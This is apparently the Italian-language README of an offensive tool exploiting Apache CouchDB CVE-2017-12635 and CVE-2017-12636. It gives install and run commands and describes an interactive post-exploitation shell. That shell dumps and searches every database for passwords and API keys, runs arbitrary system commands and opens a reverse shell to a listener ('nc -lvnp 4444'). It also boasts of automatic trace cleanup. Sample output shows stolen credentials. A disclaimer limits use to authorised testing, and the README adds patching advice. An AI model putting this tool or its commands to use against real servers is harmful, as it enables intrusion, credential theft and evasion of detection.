
Sfrutta CouchDB CVE-2017-12635/12636 per escalation dei privilegi e RCE, quindi fornisce una shell interattiva con esecuzione di comandi, esplorazione del database e reverse shell.
Questo strumento sfrutta due vulnerabilità critiche in Apache CouchDB:
| CVE | Descrizione | Gravità |
|---|---|---|
| CVE-2017-12635 | Escalatione dei privilegi tramite bypass del parsing JSON | 🔴 Critica |
| CVE-2017-12636 | Esecuzione remota di codice tramite Query Server | 🔴 Critica |
| Versione | Vulnerabile | Versione corretta |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ Sì | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Sì | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Sì | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Sì | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ No | - |
curl http://target:5984/
✨ Funzionalità
✅ Sfruttamento automatico - Un solo comando per dominarli tutti
✅ Shell interattiva - Interfaccia a comandi intuitiva
✅ Visualizzatore di database - Sfoglia tutti i database e i documenti
✅ Visualizzazione JSON completa - Visualizza il contenuto completo dei documenti
✅ Ricerca globale - Cerca parole chiave in tutti i database
✅ Comandi di sistema - Esegui comandi arbitrari sul target
✅ Reverse Shell - Ottieni una shell interattiva completa
✅ Cronologia dei comandi - Tieni traccia delle tue azioni
✅ Pulizia automatica - Rimuovi le tracce dopo lo sfruttamento
✅ Output colorato - Facile da leggere e comprendere
📦 Installazione Prerequisiti bash
python3 --version
Clona e installa bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Requisiti txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Utilizzo Utilizzo di base bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Opzioni della riga di comando bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Comandi
Una volta sfruttato, avrai una shell interattiva: Comando Descrizione Esempio db Mostra tutti i database con il conteggio dei documenti db view Visualizza TUTTI i documenti in un database (JSON completo) view passwords raw Mostra la risposta grezza del server raw admin count Conta i documenti in un database count users search Cerca una parola chiave in TUTTI i database search admin exec Esegue un comando di sistema exec whoami reverse Imposta una reverse shell reverse 10.0.0.1 4444 history Mostra la cronologia dei comandi history help Mostra questo menu help exit Esce con la pulizia exit 📊 Esempi
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Visualizza il contenuto del database bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Configurazione della reverse shell verso 10.0.0.1:4444 [!] Assicurati che il listener sia in esecuzione: nc -lvnp 4444 [?] Continuare? (s/n): s [+] Reverse shell attivata!
🖼️ Screenshot Exploit in azione
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Vista del database
https://via.placeholder.com/800x400?text=Database+View Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Avvertenza
IMPORTANTE: questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati.
🚫 NON utilizzare su sistemi senza esplicita autorizzazione
🚫 L'autore non è responsabile per qualsiasi uso improprio
🚫 Utilizzare solo in ambienti controllati o sui propri sistemi
✅ Ottenere sempre un'autorizzazione scritta prima di eseguire i test
✅ Seguire pratiche di divulgazione responsabile
Utilizzando questo strumento, accetti questi termini. 🔐 Suggerimenti per la sicurezza
Se sei un amministratore di sistema:
Aggiorna immediatamente a CouchDB ≥ 1.7.0 o ≥ 2.1.1
Utilizza un firewall per limitare l'accesso alla porta 5984
Abilita l'autenticazione e utilizza password complesse
Monitora i log per attività sospette
Esegui regolari audit di sicurezza della tua infrastruttura
Correzione rapida bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # O versione più recente
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Riferimenti
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Sicurezza di Apache CouchDB
Exploit-DB
👤 Autore
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Supporto
Se lo trovi utile:
⭐ Metti una stella al repository
🐛 Segnala problemi
🔧 Contribuisci con miglioramenti
📢 Condividi con altri
📄 Licenza
Questo progetto è distribuito con licenza MIT - consulta il file LICENSE per i dettagli.
Realizzato con ❤️ per la ricerca sulla sicurezza
⬆ Torna in cima